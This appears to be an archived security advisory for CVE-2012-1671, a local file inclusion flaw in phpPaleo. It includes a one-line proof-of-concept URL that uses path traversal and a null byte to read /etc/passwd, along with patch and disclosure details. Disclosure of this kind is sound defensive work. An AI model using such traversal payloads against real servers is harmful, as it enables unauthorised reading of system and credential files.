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exploitpackMark StanislavEXPLOITPACK:C1FA307CDF7BC451271232EB3AD52CCA
HistoryApr 04, 2012 - 12:00 a.m.

phpPaleo - Local File Inclusion

2012-04-0400:00:00
Mark Stanislav
9

6.8 Medium

CVSS2

Access Vector

NETWORK

Access Complexity

MEDIUM

Authentication

NONE

Confidentiality Impact

PARTIAL

Integrity Impact

PARTIAL

Availability Impact

PARTIAL

AV:N/AC:M/Au:N/C:P/I:P/A:P

phpPaleo - Local File Inclusion

'phpPaleo' Local File Inclusion (CVE-2012-1671)
Mark Stanislav - [email protected]


I. DESCRIPTION
---------------------------------------
A vulnerability exists in index.php for language handling that allows for local file inclusion using a null-byte attack on the 'lang' GET parameter.

 
II. TESTED VERSION
---------------------------------------
4.8b156


III. PoC EXPLOIT
---------------------------------------
http://localhost/phppaleo/index.php?lang=../../../../../../../etc/passwd%00


IV. NOTES 
---------------------------------------
* magic_quotes_gpc must be disabled and PHP must be < 5.3.4 for null-byte attacks to work


V. SOLUTION
---------------------------------------
Upgrade to 4.8b157 or above.


VI. REFERENCES
---------------------------------------
http://sourceforge.net/projects/phppaleo/
http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2012-1671


VII. TIMELINE
---------------------------------------
03/01/2012 - Initial vendor disclosure
03/02/2012 - Vendor patched and released an updated version
04/04/2012 - Public disclosure

6.8 Medium

CVSS2

Access Vector

NETWORK

Access Complexity

MEDIUM

Authentication

NONE

Confidentiality Impact

PARTIAL

Integrity Impact

PARTIAL

Availability Impact

PARTIAL

AV:N/AC:M/Au:N/C:P/I:P/A:P

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